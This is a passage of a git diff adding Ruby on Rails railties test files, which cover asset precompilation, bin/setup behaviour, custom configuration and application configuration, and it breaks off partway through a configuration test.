+      env.each { |k, v| ENV[k.to_s] = v }
+      yield
+    ensure
+      env.each_key { |k| ENV.delete k.to_s }
+    end
+
+    def clean_assets!
+      quietly do
+        assert Dir.chdir(app_path) { system("bin/rails assets:clobber") }
+      end
+    end
+
+    def assert_file_exists(filename)
+      globbed = Dir[filename]
+      assert globbed.one?, "Found #{globbed.size} files matching #{filename}. All files in the directory: #{Dir.entries(File.dirname(filename)).inspect}"
+    end
+
+    def assert_no_file_exists(filename)
+      assert !File.exist?(filename), "#{filename} does exist"
+    end
+
+    test "assets routes have higher priority" do
+      app_file "app/assets/images/rails.png", "notactuallyapng"
+      app_file "app/assets/javascripts/demo.js.erb", "a = <%= image_path('rails.png').inspect %>;"
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '*path', to: lambda { |env| [200, { "Content-Type" => "text/html" }, ["Not an asset"]] }
+        end
+      RUBY
+
+      add_to_env_config "development", "config.assets.digest = false"
+
+      # FIXME: shush Sass warning spam, not relevant to testing Railties
+      Kernel.silence_warnings do
+        require "#{app_path}/config/environment"
+      end
+
+      get "/assets/demo.js"
+      assert_equal 'a = "/assets/rails.png";', last_response.body.strip
+    end
+
+    test "assets do not require compressors until it is used" do
+      app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();"
+      add_to_env_config "production", "config.assets.compile = true"
+      add_to_env_config "production", "config.assets.precompile = []"
+
+      # Load app env
+      app "production"
+
+      assert !defined?(Uglifier)
+      get "/assets/demo.js"
+      assert_match "alert()", last_response.body
+      assert defined?(Uglifier)
+    end
+
+    test "precompile creates the file, gives it the original asset's content and run in production as default" do
+      app_file "app/assets/config/manifest.js", "//= link_tree ../javascripts"
+      app_file "app/assets/javascripts/application.js", "alert();"
+      app_file "app/assets/javascripts/foo/application.js", "alert();"
+
+      precompile!
+
+      files = Dir["#{app_path}/public/assets/application-*.js"]
+      files << Dir["#{app_path}/public/assets/foo/application-*.js"].first
+      files.each do |file|
+        assert_not_nil file, "Expected application.js asset to be generated, but none found"
+        assert_equal "alert();\n", File.read(file)
+      end
+    end
+
+    def test_precompile_does_not_hit_the_database
+      app_file "app/assets/config/manifest.js", "//= link_tree ../javascripts"
+      app_file "app/assets/javascripts/application.js", "alert();"
+      app_file "app/assets/javascripts/foo/application.js", "alert();"
+      app_file "app/controllers/users_controller.rb", <<-eoruby
+        class UsersController < ApplicationController; end
+      eoruby
+      app_file "app/models/user.rb", <<-eoruby
+        class User < ActiveRecord::Base; raise 'should not be reached'; end
+      eoruby
+
+      precompile! \
+        RAILS_ENV: "production",
+        DATABASE_URL: "postgresql://baduser:badpass@127.0.0.1/dbname"
+
+      files = Dir["#{app_path}/public/assets/application-*.js"]
+      files << Dir["#{app_path}/public/assets/foo/application-*.js"].first
+      files.each do |file|
+        assert_not_nil file, "Expected application.js asset to be generated, but none found"
+        assert_equal "alert();".strip, File.read(file).strip
+      end
+    end
+
+    test "precompile application.js and application.css and all other non JS/CSS files" do
+      app_file "app/assets/javascripts/application.js", "alert();"
+      app_file "app/assets/stylesheets/application.css", "body{}"
+
+      app_file "app/assets/javascripts/someapplication.js", "alert();"
+      app_file "app/assets/stylesheets/someapplication.css", "body{}"
+
+      app_file "app/assets/javascripts/something.min.js", "alert();"
+      app_file "app/assets/stylesheets/something.min.css", "body{}"
+
+      app_file "app/assets/javascripts/something.else.js.erb", "alert();"
+      app_file "app/assets/stylesheets/something.else.css.erb", "body{}"
+
+      images_should_compile = ["a.png", "happyface.png", "happy_face.png", "happy.face.png",
+                               "happy-face.png", "happy.happy_face.png", "happy_happy.face.png",
+                               "happy.happy.face.png", "-happy.png", "-happy.face.png",
+                               "_happy.face.png", "_happy.png"]
+
+      images_should_compile.each do |filename|
+        app_file "app/assets/images/#{filename}", "happy"
+      end
+
+      precompile!
+
+      images_should_compile = ["a-*.png", "happyface-*.png", "happy_face-*.png", "happy.face-*.png",
+                               "happy-face-*.png", "happy.happy_face-*.png", "happy_happy.face-*.png",
+                               "happy.happy.face-*.png", "-happy-*.png", "-happy.face-*.png",
+                               "_happy.face-*.png", "_happy-*.png"]
+
+      images_should_compile.each do |filename|
+        assert_file_exists("#{app_path}/public/assets/#{filename}")
+      end
+
+      assert_file_exists("#{app_path}/public/assets/application-*.js")
+      assert_file_exists("#{app_path}/public/assets/application-*.css")
+
+      assert_no_file_exists("#{app_path}/public/assets/someapplication-*.js")
+      assert_no_file_exists("#{app_path}/public/assets/someapplication-*.css")
+
+      assert_no_file_exists("#{app_path}/public/assets/something.min-*.js")
+      assert_no_file_exists("#{app_path}/public/assets/something.min-*.css")
+
+      assert_no_file_exists("#{app_path}/public/assets/something.else-*.js")
+      assert_no_file_exists("#{app_path}/public/assets/something.else-*.css")
+    end
+
+    test "precompile something.js for directory containing index file" do
+      add_to_config "config.assets.precompile = [ 'something.js' ]"
+      app_file "app/assets/javascripts/something/index.js.erb", "alert();"
+
+      precompile!
+
+      assert_file_exists("#{app_path}/public/assets/something/index-*.js")
+    end
+
+    test "precompile use assets defined in app env config" do
+      add_to_env_config "production", 'config.assets.precompile = [ "something.js" ]'
+      app_file "app/assets/javascripts/something.js.erb", "alert();"
+
+      precompile! RAILS_ENV: "production"
+
+      assert_file_exists("#{app_path}/public/assets/something-*.js")
+    end
+
+    test "sprockets cache is not shared between environments" do
+      app_file "app/assets/images/rails.png", "notactuallyapng"
+      app_file "app/assets/stylesheets/application.css.erb", "body { background: '<%= asset_path('rails.png') %>'; }"
+      add_to_env_config "production", 'config.assets.prefix = "production_assets"'
+
+      precompile!
+
+      assert_file_exists("#{app_path}/public/assets/application-*.css")
+
+      file = Dir["#{app_path}/public/assets/application-*.css"].first
+      assert_match(/assets\/rails-([0-z]+)\.png/, File.read(file))
+
+      precompile! RAILS_ENV: "production"
+
+      assert_file_exists("#{app_path}/public/production_assets/application-*.css")
+
+      file = Dir["#{app_path}/public/production_assets/application-*.css"].first
+      assert_match(/production_assets\/rails-([0-z]+)\.png/, File.read(file))
+    end
+
+    test "precompile use assets defined in app config and reassigned in app env config" do
+      add_to_config 'config.assets.precompile = [ "something_manifest.js" ]'
+      add_to_env_config "production", 'config.assets.precompile += [ "another_manifest.js" ]'
+
+      app_file "app/assets/config/something_manifest.js", "//= link something.js"
+      app_file "app/assets/config/another_manifest.js", "//= link another.js"
+
+      app_file "app/assets/javascripts/something.js.erb", "alert();"
+      app_file "app/assets/javascripts/another.js.erb", "alert();"
+
+      precompile! RAILS_ENV: "production"
+
+      assert_file_exists("#{app_path}/public/assets/something_manifest-*.js")
+      assert_file_exists("#{app_path}/public/assets/something-*.js")
+      assert_file_exists("#{app_path}/public/assets/another_manifest-*.js")
+      assert_file_exists("#{app_path}/public/assets/another-*.js")
+    end
+
+    test "asset pipeline should use a Sprockets::CachedEnvironment when config.assets.digest is true" do
+      add_to_config "config.action_controller.perform_caching = false"
+      add_to_env_config "production", "config.assets.compile = true"
+
+      # Load app env
+      app "production"
+
+      assert_equal Sprockets::CachedEnvironment, Rails.application.assets.class
+    end
+
+    test "precompile creates a manifest file with all the assets listed" do
+      app_file "app/assets/images/rails.png", "notactuallyapng"
+      app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
+      app_file "app/assets/javascripts/application.js", "alert();"
+
+      precompile!
+
+      manifest = Dir["#{app_path}/public/assets/.sprockets-manifest-*.json"].first
+      assets = ActiveSupport::JSON.decode(File.read(manifest))
+      assert_match(/application-([0-z]+)\.js/, assets["assets"]["application.js"])
+      assert_match(/application-([0-z]+)\.css/, assets["assets"]["application.css"])
+    end
+
+    test "the manifest file should be saved by default in the same assets folder" do
+      app_file "app/assets/javascripts/application.js", "alert();"
+      add_to_config "config.assets.prefix = '/x'"
+
+      precompile!
+
+      manifest = Dir["#{app_path}/public/x/.sprockets-manifest-*.json"].first
+      assets = ActiveSupport::JSON.decode(File.read(manifest))
+      assert_match(/application-([0-z]+)\.js/, assets["assets"]["application.js"])
+    end
+
+    test "assets do not require any assets group gem when manifest file is present" do
+      app_file "app/assets/javascripts/application.js", "alert();"
+      add_to_env_config "production", "config.public_file_server.enabled = true"
+
+      precompile! RAILS_ENV: "production"
+
+      manifest = Dir["#{app_path}/public/assets/.sprockets-manifest-*.json"].first
+      assets = ActiveSupport::JSON.decode(File.read(manifest))
+      asset_path = assets["assets"]["application.js"]
+
+      # Load app env
+      app "production"
+
+      # Checking if Uglifier is defined we can know if Sprockets was reached or not
+      assert !defined?(Uglifier)
+      get "/assets/#{asset_path}"
+      assert_match "alert()", last_response.body
+      assert !defined?(Uglifier)
+    end
+
+    test "precompile properly refers files referenced with asset_path" do
+      app_file "app/assets/images/rails.png", "notactuallyapng"
+      app_file "app/assets/stylesheets/application.css.erb", "p { background-image: url(<%= asset_path('rails.png') %>) }"
+
+      precompile!
+
+      file = Dir["#{app_path}/public/assets/application-*.css"].first
+      assert_match(/\/assets\/rails-([0-z]+)\.png/, File.read(file))
+    end
+
+    test "precompile shouldn't use the digests present in manifest.json" do
+      app_file "app/assets/images/rails.png", "notactuallyapng"
+
+      app_file "app/assets/stylesheets/application.css.erb", "p { background-image: url(<%= asset_path('rails.png') %>) }"
+
+      precompile! RAILS_ENV: "production"
+
+      manifest = Dir["#{app_path}/public/assets/.sprockets-manifest-*.json"].first
+      assets = ActiveSupport::JSON.decode(File.read(manifest))
+      asset_path = assets["assets"]["application.css"]
+
+      app_file "app/assets/images/rails.png", "p { url: change }"
+
+      precompile!
+
+      assets = ActiveSupport::JSON.decode(File.read(manifest))
+      assert_not_equal asset_path, assets["assets"]["application.css"]
+    end
+
+    test "precompile appends the MD5 hash to files referenced with asset_path and run in production with digest true" do
+      app_file "app/assets/images/rails.png", "notactuallyapng"
+      app_file "app/assets/stylesheets/application.css.erb", "p { background-image: url(<%= asset_path('rails.png') %>) }"
+
+      precompile! RAILS_ENV: "production"
+
+      file = Dir["#{app_path}/public/assets/application-*.css"].first
+      assert_match(/\/assets\/rails-([0-z]+)\.png/, File.read(file))
+    end
+
+    test "precompile should handle utf8 filenames" do
+      filename = "レイルズ.png"
+      app_file "app/assets/images/#{filename}", "not an image really"
+      app_file "app/assets/config/manifest.js", "//= link_tree ../images"
+      add_to_config "config.assets.precompile = %w(manifest.js)"
+
+      precompile!
+
+      manifest = Dir["#{app_path}/public/assets/.sprockets-manifest-*.json"].first
+      assets = ActiveSupport::JSON.decode(File.read(manifest))
+      assert asset_path = assets["assets"].find { |(k, _)| k && k =~ /.png/ }[1]
+
+      # Load app env
+      app "development"
+
+      get "/assets/#{URI.parser.escape(asset_path)}"
+      assert_match "not an image really", last_response.body
+      assert_file_exists("#{app_path}/public/assets/#{asset_path}")
+    end
+
+    test "assets are cleaned up properly" do
+      app_file "public/assets/application.js", "alert();"
+      app_file "public/assets/application.css", "a { color: green; }"
+      app_file "public/assets/subdir/broken.png", "not really an image file"
+
+      clean_assets!
+
+      files = Dir["#{app_path}/public/assets/**/*"]
+      assert_equal 0, files.length, "Expected no assets, but found #{files.join(', ')}"
+    end
+
+    test "assets routes are not drawn when compilation is disabled" do
+      app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();"
+      add_to_config "config.assets.compile = false"
+
+      # Load app env
+      app "production"
+
+      get "/assets/demo.js"
+      assert_equal 404, last_response.status
+    end
+
+    test "does not stream session cookies back" do
+      app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();"
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/omg', :to => "omg#index"
+        end
+      RUBY
+
+      add_to_env_config "development", "config.assets.digest = false"
+
+      # Load app env
+      app "development"
+
+      class ::OmgController < ActionController::Base
+        def index
+          flash[:cool_story] = true
+          render plain: "ok"
+        end
+      end
+
+      get "/omg"
+      assert_equal "ok", last_response.body
+
+      get "/assets/demo.js"
+      assert_match "alert()", last_response.body
+      assert_nil last_response.headers["Set-Cookie"]
+    end
+
+    test "files in any assets/ directories are not added to Sprockets" do
+      %w[app lib vendor].each do |dir|
+        app_file "#{dir}/assets/#{dir}_test.erb", "testing"
+      end
+
+      app_file "app/assets/javascripts/demo.js", "alert();"
+
+      add_to_env_config "development", "config.assets.digest = false"
+
+      # Load app env
+      app "development"
+
+      get "/assets/demo.js"
+      assert_match "alert();", last_response.body
+      assert_equal 200, last_response.status
+    end
+
+    test "assets are concatenated when debug is off and compile is off either if debug_assets param is provided" do
+      app_with_assets_in_view
+
+      # config.assets.debug and config.assets.compile are false for production environment
+      precompile! RAILS_ENV: "production"
+
+      # Load app env
+      app "production"
+
+      class ::PostsController < ActionController::Base ; end
+
+      # the debug_assets params isn't used if compile is off
+      get "/posts?debug_assets=true"
+      assert_match(/<script src="\/assets\/application-([0-z]+)\.js"><\/script>/, last_response.body)
+      assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js"><\/script>/, last_response.body)
+    end
+
+    test "assets can access model information when precompiling" do
+      app_file "app/models/post.rb", "class Post; end"
+      app_file "app/assets/javascripts/application.js", "//= require_tree ."
+      app_file "app/assets/javascripts/xmlhr.js.erb", "<%= Post.name %>"
+
+      precompile!
+
+      assert_match(/Post;/, File.read(Dir["#{app_path}/public/assets/application-*.js"].first))
+    end
+
+    test "initialization on the assets group should set assets_dir" do
+      require "#{app_path}/config/application"
+      Rails.application.initialize!(:assets)
+      assert_not_nil Rails.application.config.action_controller.assets_dir
+    end
+
+    test "enhancements to assets:precompile should only run once" do
+      app_file "lib/tasks/enhance.rake", "Rake::Task['assets:precompile'].enhance { puts 'enhancement' }"
+      output = precompile!
+      assert_equal 1, output.scan("enhancement").size
+    end
+
+    test "digested assets are not mistakenly removed" do
+      app_file "app/assets/application.js", "alert();"
+      add_to_config "config.assets.compile = true"
+
+      precompile!
+
+      files = Dir["#{app_path}/public/assets/application-*.js"]
+      assert_equal 1, files.length, "Expected digested application.js asset to be generated, but none found"
+    end
+
+    test "digested assets are removed from configured path" do
+      app_file "public/production_assets/application.js", "alert();"
+      add_to_env_config "production", "config.assets.prefix = 'production_assets'"
+
+      ENV["RAILS_ENV"] = nil
+
+      clean_assets!
+
+      files = Dir["#{app_path}/public/production_assets/application-*.js"]
+      assert_equal 0, files.length, "Expected application.js asset to be removed, but still exists"
+    end
+
+    test "asset urls should use the request's protocol by default" do
+      app_with_assets_in_view
+      add_to_config "config.asset_host = 'example.com'"
+      add_to_env_config "development", "config.assets.digest = false"
+
+      # Load app env
+      app "development"
+
+      class ::PostsController < ActionController::Base; end
+
+      get "/posts", {}, "HTTPS" => "off"
+      assert_match('src="http://example.com/assets/application.self.js', last_response.body)
+      get "/posts", {}, "HTTPS" => "on"
+      assert_match('src="https://example.com/assets/application.self.js', last_response.body)
+    end
+
+    test "asset urls should be protocol-relative if no request is in scope" do
+      app_file "app/assets/images/rails.png", "notreallyapng"
+      app_file "app/assets/javascripts/image_loader.js.erb", "var src='<%= image_path('rails.png') %>';"
+      add_to_config "config.assets.precompile = %w{rails.png image_loader.js}"
+      add_to_config "config.asset_host = 'example.com'"
+      add_to_env_config "development", "config.assets.digest = false"
+
+      precompile!
+
+      assert_match "src='//example.com/assets/rails.png'", File.read(Dir["#{app_path}/public/assets/image_loader-*.js"].first)
+    end
+
+    test "asset paths should use RAILS_RELATIVE_URL_ROOT by default" do
+      ENV["RAILS_RELATIVE_URL_ROOT"] = "/sub/uri"
+      app_file "app/assets/images/rails.png", "notreallyapng"
+      app_file "app/assets/javascripts/app.js.erb", "var src='<%= image_path('rails.png') %>';"
+      add_to_config "config.assets.precompile = %w{rails.png app.js}"
+      add_to_env_config "development", "config.assets.digest = false"
+
+      precompile!
+
+      assert_match "src='/sub/uri/assets/rails.png'", File.read(Dir["#{app_path}/public/assets/app-*.js"].first)
+    end
+
+    private
+
+      def app_with_assets_in_view
+        app_file "app/assets/javascripts/application.js", "//= require_tree ."
+        app_file "app/assets/javascripts/xmlhr.js", "function f1() { alert(); }"
+        app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'application' %>"
+
+        app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/posts', :to => "posts#index"
+        end
+      RUBY
+      end
+  end
+end
diff --git a/railties/test/application/bin_setup_test.rb b/railties/test/application/bin_setup_test.rb
new file mode 100644
index 0000000000..0fb995900f
--- /dev/null
+++ b/railties/test/application/bin_setup_test.rb
@@ -0,0 +1,60 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class BinSetupTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def setup
+      build_app
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def test_bin_setup
+      Dir.chdir(app_path) do
+        app_file "db/schema.rb", <<-RUBY
+          ActiveRecord::Schema.define(version: 20140423102712) do
+            create_table(:articles) {}
+          end
+        RUBY
+
+        list_tables = lambda { `bin/rails runner 'p ActiveRecord::Base.connection.tables'`.strip }
+        File.write("log/test.log", "zomg!")
+
+        assert_equal "[]", list_tables.call
+        assert_equal 5, File.size("log/test.log")
+        assert_not File.exist?("tmp/restart.txt")
+        `bin/setup 2>&1`
+        assert_equal 0, File.size("log/test.log")
+        assert_equal '["articles", "schema_migrations", "ar_internal_metadata"]', list_tables.call
+        assert File.exist?("tmp/restart.txt")
+      end
+    end
+
+    def test_bin_setup_output
+      Dir.chdir(app_path) do
+        app_file "db/schema.rb", ""
+
+        output = `bin/setup 2>&1`
+
+        # Ignore line that's only output by Bundler < 1.14
+        output.sub!(/^Resolving dependencies\.\.\.\n/, "")
+
+        assert_equal(<<-OUTPUT, output)
+== Installing dependencies ==
+The Gemfile's dependencies are satisfied
+
+== Preparing database ==
+Created database 'db/development.sqlite3'
+Created database 'db/test.sqlite3'
+
+== Removing old logs and tempfiles ==
+
+== Restarting application server ==
+        OUTPUT
+      end
+    end
+  end
+end
diff --git a/railties/test/application/configuration/custom_test.rb b/railties/test/application/configuration/custom_test.rb
new file mode 100644
index 0000000000..8360b7bf4b
--- /dev/null
+++ b/railties/test/application/configuration/custom_test.rb
@@ -0,0 +1,45 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  module ConfigurationTests
+    class CustomTest < ActiveSupport::TestCase
+      def setup
+        build_app
+        FileUtils.rm_rf("#{app_path}/config/environments")
+      end
+
+      def teardown
+        teardown_app
+      end
+
+      test "access custom configuration point" do
+        add_to_config <<-RUBY
+          config.x.payment_processing.schedule = :daily
+          config.x.payment_processing.retries  = 3
+          config.x.super_debugger              = true
+          config.x.hyper_debugger              = false
+          config.x.nil_debugger                = nil
+        RUBY
+        require_environment
+
+        x = Rails.configuration.x
+        assert_equal :daily, x.payment_processing.schedule
+        assert_equal 3, x.payment_processing.retries
+        assert_equal true, x.super_debugger
+        assert_equal false, x.hyper_debugger
+        assert_nil x.nil_debugger
+        assert_nil x.i_do_not_exist.zomg
+
+        # test that custom configuration responds to all messages
+        assert_equal true, x.respond_to?(:i_do_not_exist)
+        assert_kind_of Method, x.method(:i_do_not_exist)
+        assert_kind_of ActiveSupport::OrderedOptions, x.i_do_not_exist
+      end
+
+      private
+        def require_environment
+          require "#{app_path}/config/environment"
+        end
+    end
+  end
+end
diff --git a/railties/test/application/configuration_test.rb b/railties/test/application/configuration_test.rb
new file mode 100644
index 0000000000..9f62ca8eb8
--- /dev/null
+++ b/railties/test/application/configuration_test.rb
@@ -0,0 +1,1746 @@
+require "isolation/abstract_unit"
+require "rack/test"
+require "env_helpers"
+
+class ::MyMailInterceptor
+  def self.delivering_email(email); email; end
+end
+
+class ::MyOtherMailInterceptor < ::MyMailInterceptor; end
+
+class ::MyPreviewMailInterceptor
+  def self.previewing_email(email); email; end
+end
+
+class ::MyOtherPreviewMailInterceptor < ::MyPreviewMailInterceptor; end
+
+class ::MyMailObserver
+  def self.delivered_email(email); email; end
+end
+
+class ::MyOtherMailObserver < ::MyMailObserver; end
+
+module ApplicationTests
+  class ConfigurationTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+    include EnvHelpers
+
+    def new_app
+      File.expand_path("#{app_path}/../new_app")
+    end
+
+    def copy_app
+      FileUtils.cp_r(app_path, new_app)
+    end
+
+    def app(env = "development")
+      @app ||= begin
+        ENV["RAILS_ENV"] = env
+
+        # FIXME: shush Sass warning spam, not relevant to testing Railties
+        Kernel.silence_warnings do
+          require "#{app_path}/config/environment"
+        end
+
+        Rails.application
+      ensure
+        ENV.delete "RAILS_ENV"
+      end
+    end
+
+    def setup
+      build_app
+      suppress_default_config
+    end
+
+    def teardown
+      teardown_app
+      FileUtils.rm_rf(new_app) if File.directory?(new_app)
+    end
+
+    def suppress_default_config
+      FileUtils.mv("#{app_path}/config/environments", "#{app_path}/config/__environments__")
+    end
+
+    def restore_default_config
+      FileUtils.rm_rf("#{app_path}/config/environments")
+      FileUtils.mv("#{app_path}/config/__environments__", "#{app_path}/config/environments")
+    end
+
+    test "Rails.env does not set the RAILS_ENV environment variable which would leak out into rake tasks" do
+      require "rails"
+
+      switch_env "RAILS_ENV", nil do
+        Rails.env = "development"
+        assert_equal "development", Rails.env
+        assert_nil ENV["RAILS_ENV"]
+      end
+    end
+
+    test "Rails.env falls back to development if RAILS_ENV is blank and RACK_ENV is nil" do
+      with_rails_env("") do
+        assert_equal "development", Rails.env
+      end
+    end
+
+    test "Rails.env falls back to development if RACK_ENV is blank and RAILS_ENV is nil" do
+      with_rack_env("") do
+        assert_equal "development", Rails.env
+      end
+    end
+
+    test "By default logs tags are not set in development" do
+      restore_default_config
+
+      with_rails_env "development" do
+        app "development"
+        assert Rails.application.config.log_tags.blank?
+      end
+    end
+
+    test "By default logs are tagged with :request_id in production" do
+      restore_default_config
+
+      with_rails_env "production" do
+        app "production"
+        assert_equal [:request_id], Rails.application.config.log_tags
+      end
+    end
+
+    test "lib dir is on LOAD_PATH during config" do
+      app_file "lib/my_logger.rb", <<-RUBY
+        require "logger"
+        class MyLogger < ::Logger
+        end
+      RUBY
+      add_to_top_of_config <<-RUBY
+        require 'my_logger'
+        config.logger = MyLogger.new STDOUT
+      RUBY
+
+      app "development"
+
+      assert_equal "MyLogger", Rails.application.config.logger.class.name
+    end
+
+    test "a renders exception on pending migration" do
+      add_to_config <<-RUBY
+        config.active_record.migration_error    = :page_load
+        config.consider_all_requests_local      = true
+        config.action_dispatch.show_exceptions  = true
+      RUBY
+
+      app_file "db/migrate/20140708012246_create_user.rb", <<-RUBY
+        class CreateUser < ActiveRecord::Migration::Current
+          def change
+            create_table :users
+          end
+        end
+      RUBY
+
+      app "development"
+
+      ActiveRecord::Migrator.migrations_paths = ["#{app_path}/db/migrate"]
+
+      begin
+        get "/foo"
+        assert_equal 500, last_response.status
+        assert_match "ActiveRecord::PendingMigrationError", last_response.body
+      ensure
+        ActiveRecord::Migrator.migrations_paths = nil
+      end
+    end
+
+    test "Rails.groups returns available groups" do
+      require "rails"
+
+      Rails.env = "development"
+      assert_equal [:default, "development"], Rails.groups
+      assert_equal [:default, "development", :assets], Rails.groups(assets: [:development])
+      assert_equal [:default, "development", :another, :assets], Rails.groups(:another, assets: %w(development))
+
+      Rails.env = "test"
+      assert_equal [:default, "test"], Rails.groups(assets: [:development])
+
+      ENV["RAILS_GROUPS"] = "javascripts,stylesheets"
+      assert_equal [:default, "test", "javascripts", "stylesheets"], Rails.groups
+    end
+
+    test "Rails.application is nil until app is initialized" do
+      require "rails"
+      assert_nil Rails.application
+      app "development"
+      assert_equal AppTemplate::Application.instance, Rails.application
+    end
+
+    test "Rails.application responds to all instance methods" do
+      app "development"
+      assert_equal Rails.application.routes_reloader, AppTemplate::Application.routes_reloader
+    end
+
+    test "Rails::Application responds to paths" do
+      app "development"
+      assert_equal ["#{app_path}/app/views"], AppTemplate::Application.paths["app/views"].expanded
+    end
+
+    test "the application root is set correctly" do
+      app "development"
+      assert_equal Pathname.new(app_path), Rails.application.root
+    end
+
+    test "the application root can be seen from the application singleton" do
+      app "development"
+      assert_equal Pathname.new(app_path), AppTemplate::Application.root
+    end
+
+    test "the application root can be set" do
+      copy_app
+      add_to_config <<-RUBY
+        config.root = '#{new_app}'
+      RUBY
+
+      use_frameworks []
+
+      app "development"
+
+      assert_equal Pathname.new(new_app), Rails.application.root
+    end
+
+    test "the application root is Dir.pwd if there is no config.ru" do
+      File.delete("#{app_path}/config.ru")
+
+      use_frameworks []
+
+      Dir.chdir("#{app_path}") do
+        app "development"
+        assert_equal Pathname.new("#{app_path}"), Rails.application.root
+      end
+    end
+
+    test "Rails.root should be a Pathname" do
+      add_to_config <<-RUBY
+        config.root = "#{app_path}"
+      RUBY
+
+      app "development"
+
+      assert_instance_of Pathname, Rails.root
+    end
+
+    test "Rails.public_path should be a Pathname" do
+      add_to_config <<-RUBY
+        config.paths["public"] = "somewhere"
+      RUBY
+
+      app "development"
+
+      assert_instance_of Pathname, Rails.public_path
+    end
+
+    test "initialize an eager loaded, cache classes app" do
+      add_to_config <<-RUBY
+        config.eager_load = true
+        config.cache_classes = true
+      RUBY
+
+      app "development"
+
+      assert_equal :require, ActiveSupport::Dependencies.mechanism
+    end
+
+    test "application is always added to eager_load namespaces" do
+      app "development"
+      assert_includes Rails.application.config.eager_load_namespaces, AppTemplate::Application
+    end
+
+    test "the application can be eager loaded even when there are no frameworks" do
+      FileUtils.rm_rf("#{app_path}/app/models/application_record.rb")
+      FileUtils.rm_rf("#{app_path}/app/mailers/application_mailer.rb")
+      FileUtils.rm_rf("#{app_path}/config/environments")
+      add_to_config <<-RUBY
+        config.eager_load = true
+        config.cache_classes = true
+      RUBY
+
+      use_frameworks []
+
+      assert_nothing_raised do
+        app "development"
+      end
+    end
+
+    test "filter_parameters should be able to set via config.filter_parameters" do
+      add_to_config <<-RUBY
+        config.filter_parameters += [ :foo, 'bar', lambda { |key, value|
+          value = value.reverse if key =~ /baz/
+        }]
+      RUBY
+
+      assert_nothing_raised do
+        app "development"
+      end
+    end
+
+    test "filter_parameters should be able to set via config.filter_parameters in an initializer" do
+      app_file "config/initializers/filter_parameters_logging.rb", <<-RUBY
+        Rails.application.config.filter_parameters += [ :password, :foo, 'bar' ]
+      RUBY
+
+      app "development"
+
+      assert_equal [:password, :foo, "bar"], Rails.application.env_config["action_dispatch.parameter_filter"]
+    end
+
+    test "config.to_prepare is forwarded to ActionDispatch" do
+      $prepared = false
+
+      add_to_config <<-RUBY
+        config.to_prepare do
+          $prepared = true
+        end
+      RUBY
+
+      assert !$prepared
+
+      app "development"
+
+      get "/"
+      assert $prepared
+    end
+
+    def assert_utf8
+      assert_equal Encoding::UTF_8, Encoding.default_external
+      assert_equal Encoding::UTF_8, Encoding.default_internal
+    end
+
+    test "skipping config.encoding still results in 'utf-8' as the default" do
+      app "development"
+      assert_utf8
+    end
+
+    test "config.encoding sets the default encoding" do
+      add_to_config <<-RUBY
+        config.encoding = "utf-8"
+      RUBY
+
+      app "development"
+      assert_utf8
+    end
+
+    test "config.paths.public sets Rails.public_path" do
+      add_to_config <<-RUBY
+        config.paths["public"] = "somewhere"
+      RUBY
+
+      app "development"
+      assert_equal Pathname.new(app_path).join("somewhere"), Rails.public_path
+    end
+
+    test "In production mode, config.public_file_server.enabled is off by default" do
+      restore_default_config
+
+      with_rails_env "production" do
+        app "production"
+        assert_not app.config.public_file_server.enabled
+      end
+    end
+
+    test "In production mode, config.public_file_server.enabled is enabled when RAILS_SERVE_STATIC_FILES is set" do
+      restore_default_config
+
+      with_rails_env "production" do
+        switch_env "RAILS_SERVE_STATIC_FILES", "1" do
+          app "production"
+          assert app.config.public_file_server.enabled
+        end
+      end
+    end
+
+    test "In production mode, STDOUT logging is enabled when RAILS_LOG_TO_STDOUT is set" do
+      restore_default_config
+
+      with_rails_env "production" do
+        switch_env "RAILS_LOG_TO_STDOUT", "1" do
+          app "production"
+          assert ActiveSupport::Logger.logger_outputs_to?(app.config.logger, STDOUT)
+        end
+      end
+    end
+
+    test "In production mode, config.public_file_server.enabled is disabled when RAILS_SERVE_STATIC_FILES is blank" do
+      restore_default_config
+
+      with_rails_env "production" do
+        switch_env "RAILS_SERVE_STATIC_FILES", " " do
+          app "production"
+          assert_not app.config.public_file_server.enabled
+        end
+      end
+    end
+
+    test "Use key_generator when secret_key_base is set" do
+      make_basic_app do |application|
+        application.secrets.secret_key_base = "b3c631c314c0bbca50c1b2843150fe33"
+        application.config.session_store :disabled
+      end
+
+      class ::OmgController < ActionController::Base
+        def index
+          cookies.signed[:some_key] = "some_value"
+          render plain: cookies[:some_key]
+        end
+      end
+
+      get "/"
+
+      secret = app.key_generator.generate_key("signed cookie")
+      verifier = ActiveSupport::MessageVerifier.new(secret)
+      assert_equal "some_value", verifier.verify(last_response.body)
+    end
+
+    test "application verifier can be used in the entire application" do
+      make_basic_app do |application|
+        application.secrets.secret_key_base = "b3c631c314c0bbca50c1b2843150fe33"
+        application.config.session_store :disabled
+      end
+
+      message = app.message_verifier(:sensitive_value).generate("some_value")
+
+      assert_equal "some_value", Rails.application.message_verifier(:sensitive_value).verify(message)
+
+      secret = app.key_generator.generate_key("sensitive_value")
+      verifier = ActiveSupport::MessageVerifier.new(secret)
+      assert_equal "some_value", verifier.verify(message)
+    end
+
+    test "application message verifier can be used when the key_generator is ActiveSupport::LegacyKeyGenerator" do
+      app_file "config/initializers/secret_token.rb", <<-RUBY
+        Rails.application.config.secret_token = "b3c631c314c0bbca50c1b2843150fe33"
+      RUBY
+      app_file "config/secrets.yml", <<-YAML
+        development:
+          secret_key_base:
+      YAML
+
+      app "development"
+
+      assert_equal app.env_config["action_dispatch.key_generator"], Rails.application.key_generator
+      assert_equal app.env_config["action_dispatch.key_generator"].class, ActiveSupport::LegacyKeyGenerator
+      message = app.message_verifier(:sensitive_value).generate("some_value")
